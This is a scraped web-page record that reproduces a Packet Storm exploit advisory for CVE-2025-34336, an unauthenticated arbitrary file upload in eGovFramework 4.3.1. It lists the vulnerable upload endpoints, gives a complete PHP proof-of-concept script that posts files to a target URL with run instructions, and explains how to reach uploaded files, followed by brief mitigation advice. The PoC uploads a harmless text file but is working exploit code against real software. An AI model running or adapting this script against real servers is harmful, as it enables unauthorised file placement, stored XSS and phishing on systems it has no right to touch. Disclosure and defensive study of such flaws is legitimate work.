{“lastseen”:”2025-11-21T16:17:41″,”description”:”eGovFramework…………………………………”,”published”:”2025-11-21T00:00:00″,”modified”:”2025-11-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 eGovFramework 4.3.1 Arbitrary File Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:211870″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34336″],”sourceData”:”=============================================================================================================================================\\n | # Title : eGovFramework 4.3.1 Unauthenticated File Upload Allowing Arbitrary File Storage |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/egovframe.go.kr\/eng\/ntt\/nttRead.do?menuNo=21\\u0026bbsId=101\\u0026nttId=1871 |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Pre-Auth File Upload Vulnerability in eGovFramework 4.3.1 (CVE-2025-34336)\\n \\n [+] A pre-authenticated arbitrary file upload vulnerability exists in\\n EgovFrame web applications. The affected upload handlers allow remote\\n unauthenticated users to upload files without proper validation,\\n leading to arbitrary file storage on the server.\\n \\n [+] This issue can be exploited to place attacker-controlled files into\\n the server filesystem, resulting in access to stored files via the public image preview endpoint.\\n \\n [+] Vulnerable Endpoints:\\n ———————\\n \/utl\/wed\/insertImage.do\\n \/utl\/wed\/insertImageCk.do\\n \\n [+] Impact:\\n ——-\\n An attacker can upload arbitrary files (TXT, HTML, JSON, images, etc.)\\n without authentication. While code execution is not possible due to\\n server-side restrictions, successful upload is enough to confirm the\\n vulnerability and may lead to stored XSS, phishing, or information \\n leakage depending on server configuration.\\n \\n [+] PoC (Safe Non-Malicious Upload):\\n ——————————–\\n The following PHP proof-of-concept demonstrates a harmless TXT file\\n upload to confirm the vulnerability.\\n \\n [+] Exploitation \/ How To Run The PoC\\n ———————————\\n \\n 1. Save the PoC as: poc.php\\n \\n 2. Open a terminal or command prompt and run: php poc.php https:\/\/target-website.com\/\\n \\n 3. If the server is vulnerable, the script will return:\\n \\n [+] Potential Vulnerability Detected!\\n \\n along with a JSON response containing \\”path\\” and \\”physical\\”.\\n \\n 4. If these fields exist, the upload succeeded and the target is affectedby CVE-2025-34336.\\n \\n [+] This PoC is safe, non-malicious, and uploads only a TXT file used for proof-of-vulnerability purposes.\\n \\n ====================================================================\\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n if ($argc \\u003c 2) {\\n echo \\”Usage: php poc.php https:\/\/target\\\\n\\”;\\n exit;\\n }\\n \\n $base = rtrim($argv[1], \\”\/\\”);\\n \\n $endpoints = [\\n \\”\/utl\/wed\/insertImage.do\\”,\\n \\”\/utl\/wed\/insertImageCk.do\\”\\n ];\\n \\n $proof = \\”proof.txt\\”;\\n file_put_contents($proof, \\”This is a harmless proof-of-vulnerability file.\\”);\\n \\n foreach ($endpoints as $ep) {\\n \\n $url = $base . $ep;\\n \\n echo \\”\\\\n========================================\\\\n\\”;\\n echo \\”[*] Testing: $url\\\\n\\”;\\n \\n $post = [\\n \\”uploadfile\\” =\\u003e new CURLFile($proof, \\”text\/plain\\”, \\”proof.txt\\”)\\n ];\\n \\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $url);\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $post);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n \\n $response = curl_exec($ch);\\n $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n curl_close($ch);\\n \\n echo \\”[HTTP $code] Response length: \\” . strlen($response) . \\”\\\\n\\”;\\n \\n if ($code == 200 \\u0026\\u0026 strpos($response, \\”path\\”) !== false \\u0026\\u0026 strpos($response, \\”physical\\”) !== false) {\\n echo \\”[+] Potential Vulnerability Detected!\\\\n\\”;\\n echo \\”[+] Raw JSON Response:\\\\n$response\\\\n\\”;\\n } else {\\n echo \\”[-] Not Vulnerable or WAF blocked.\\\\n\\”;\\n }\\n }\\n \\n echo \\”\\\\nDone.\\\\n\\”;\\n \\n ?\\u003e\\n \\n [+] Accessing Uploaded Files:\\n ————————-\\n Uploaded files can be accessed via:\\n \\n \/utl\/web\/imageSrc.do?path=ENC(…)\\u0026physical=ENC(…)\\u0026contentType=ENC(…)\\n \\n [+] Vendor Status:\\n ————–\\n No official patch available at the time of disclosure.\\n \\n [+] Recommendation:\\n —————\\n Do not expose EgovFrame-based applications directly to the internet.\\n Implement strict file validation and disable unauthenticated upload\\n handlers.\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211870″,”cvss”:{“score”:6.9,”severity”:”MEDIUM”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:L\/SC:L\/VI:L\/SI:L\/VA:N\/SA:N”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211870\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-21T16:17:41″,”description”:”eGovFramework…………………………………”,”published”:”2025-11-21T00:00:00″,”modified”:”2025-11-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 eGovFramework 4.3.1 Arbitrary File Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:211870″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34336″],”sourceData”:”=============================================================================================================================================\\n | # Title : eGovFramework 4.3.1 Unauthenticated File Upload Allowing Arbitrary File Storage |\\n | # Author : indoushka…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,48,12,21,13,53,7,11,5],"class_list":["post-27191","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-69","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n